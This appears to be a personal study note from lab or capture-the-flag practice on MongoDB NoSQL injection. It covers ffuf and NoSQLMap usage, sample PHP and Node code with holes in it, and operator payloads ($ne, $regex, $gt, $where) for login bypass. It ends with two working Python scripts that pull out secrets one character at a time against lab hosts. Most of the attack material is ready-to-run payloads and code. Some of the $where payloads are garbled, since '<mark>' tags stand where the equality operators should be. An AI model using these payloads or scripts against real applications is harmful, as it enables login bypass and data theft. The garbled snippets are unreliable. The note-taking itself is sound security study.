Injection#

See syntax at Mongodb

The problem with mongodb is that it is a nosql, and weird syntax. So there are multiple way to implement mongodb, it is all chaotic

Tools#

ffuf#

ffuf -w /usr/share/seclists/Fuzzing/Databases/NoSQL.txt -u http://10.10.10.10/index.php -d '{"trackingNum": FUZZ}'

NoSqlMap#

Yes, python2

git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
sudo apt install python2.7
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py
pip2 install couchdb
pip2 install --upgrade setuptools
pip2 install pbkdf2
pip2 install pymongo
pip2 install ipcalc

We can demonstrate this tool on MangoMail. Imagine we know the admin’s email is admin@mangomail.com, and we want to test if the password field is vulnerable to NoSQL injection. To test that out, we can run NoSQLMap with the following arguments:

  • --attack 2 to specify a Web attack
  • --victim 127.0.0.1 to specify the IP address
  • --webPort 80 to specify the port
  • --uri /index.php to specify the URL we want to send requests to
  • --httpMethod POST to specify we want to send POST requests
  • --postData email,admin@mangomail.com,password,qwerty to specify the two parameters email and password that we want to send with the default values admin@mangomail.com and qwerty respectively
  • --injectedParameter 1 to specify we want to test the password parameter
  • --injectSize 4 to specify a default size for randomly generated data
python2 nosqlmap.py --attack 2 --victim 127.0.0.1 --webPort 80 --uri /index.php --httpMethod POST --postData

Example code 1 - Exfiltration#

...
app.post('/api/v1/getUser', (req, res) => {
    client.connect(function(_, con) {
		const cursor = con
			.db("example")
			.collection("users")
			.find({username: req.body['username']});
}}
...

In this code, the webapp use the value of username straight into the query with no sanitization.

We could exfiltrate data by inject a regex operator that matches everything like this

{"username": {$regex: ".*"}}
curl -X POST http://10.10.10.10/api/v1/getUser -H 'Content-Type: application/json' -d '{"username": {$regex: ".*"}}'

Example code 2 - Auth bypass#

This php code takes email and password parameter and search it in mongomail db, in users table.

...
if ($_SERVER['REQUEST_METHOD'] === "POST"):
    if (!isset($_POST['email'])) die("Missing `email` parameter");
    if (!isset($_POST['password'])) die("Missing `password` parameter");
    if (empty($_POST['email'])) die("`email` can not be empty");
    if (empty($_POST['password'])) die("`password` can not be empty");

    $manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
    $query = new MongoDB\Driver\Query(array("email" => $_POST['email'], "password" => $_POST['password']));
    $cursor = $manager->executeQuery('mangomail.users', $query);
        
    if (count($cursor->toArray()) > 0) {
...

But the webapp pass in user input with no sanitization. However, since we cannot make a request with json body, we can’t inject like the example above

Fortunately, we have a way. When passing URL-encoded parameters to PHP, param[$op]=val is the same as param: {$op: val}

So we can inject like this:

curl -X POST http://10.10.10.10/index.php -H 'Content-Type: application/x-www-form-urlencoded' -d 'email[$ne]=invalidEmail' -d 'password[$ne]=invalidPassword'

Resulting in a http request like this

POST /index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

email[$ne]=invalidEmail&password[$ne]=invalidPassword

It basically translates to:

{"email": {$ne: "invalidEmail"}, {"password": {$ne: "invalidPassword"}}}

We can also use other operators

  • $regex
POST /index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

email[$regex]=/.*/&password[$regex]=/.*/
  • $ne but targeting specific user
POST /index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

email=admin@mangomail.com&password[$ne]=x
  • $gt greater than an empty string
POST /index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

email[$gt]=&password[$gt]=
  • $gte greater equal an empty string
POST /index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

email[$gte]=&password[$gte]=
  • $lt first character of param less than “~”. ~ is the largest printable ascii
POST /index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

email[$lte]=~&password[$lt]=~
  • $lte same logic as above
POST /index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

email[$lte]=~&password[$lte]=~

Example 3 - Blind injection#

Brute force 1 character at a time, ^a then ^b, ^c, if hit then ^ca and so on

POST /index.php HTTP/1.1
Content-Type: application/json

{"code": {$regex: "^a"}}
import requests

def oracle(guess):
	success = "Success condition string"
	response = requests.post('http://94.237.121.111:50684/index.php', json={"code": {"$regex": f"^{guess}"}}, proxies={"http": "http://localhost:8080"})
	return success in response.text

bruted = ""
for _ in range(40):
	isFound = False
	for c in "0123456789abcdefHTB{}":
		if oracle(bruted+c):
			bruted+=c
			isFound = True
			break
	if not isFound:
		assert(oracle(bruted) == True)
		print(bruted)
		break

Example 4 - Javascript Injection#

Js common sense: if there are multiple || and &&, js evaluates && first. If there is (), js evaluates inside () first. eg. false || true || true && false = false || true || false = true

The js code below use $where, which is a operator to use javascript expression. This code is vulnerable to injection

...
.find({$where: "this.username <mark> \"" + req.body['username'] + "\" && this.password </mark> \"" + req.body['password'] + "\""});
...

Auth bypass#

We can bypass authentication by injecting " || ""==" into username and password, which results in a query like this:

db.users.find({$where: 'this.username <mark> "" || ""</mark>"" && this.password <mark> "" || ""</mark>""'})

If the password field is hashed, we can inject " || true || ""==" in username field, resulting in this query:

db.users.find({
    $where: 'this.username =<mark> "" || true || ""</mark>"" && this.password === "<password>"'
});

Blind extraction#

If we want to extract username, we can do error based blind injection this way.

" || (this.username.match('^A.*')) || ""=="
" || (this.username.match('^B.*')) || ""=="

If we want to automate this, for some reason regex does not work, so here’s a workaround. charCodeAt() returns int of the ascii character at the position we input. So if the string is “Exusiai”, charCodeAt(0) returns 69, which is value of E in ascii

" || (this.username.charCodeAt(0) <mark> 32) || ""</mark>"

So we can use a script like this. This script doesn’t know where to stop, since I’m lazy, so I will just brute force 40 characters at the same time. If it cannot find a character, it will just not do anything.

import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
import threading

def oracle(guess):
    success = "Logged in as"
    data = { 
        "username": '" || (this.username.charCodeAt%s) || ""=="' % (guess),
        "password": "asdasd"
    }
    response = requests.post('http://83.136.255.170:34736/index.php', data=data, proxies={"http": "http://localhost:8080"})
    return success in response.text

def bruteThread(charNum, bruted):
    low = 32
    high = 126
    mid = 0
    while low <= high:
        mid = (low + high) // 2
        if oracle(f"({charNum}) == {mid}"):
            bruted[charNum]=chr(mid)
            return True
        elif oracle(f"({charNum}) < {mid}"):
            high = mid - 1
        else:
            low = mid + 1
    return

bruted = [None]*40
with ThreadPoolExecutor(max_workers=40) as spawnThread:
    for charNum in range(40):
        spawnThread.submit(bruteThread, charNum, bruted)
print("".join(c for c in bruted if c))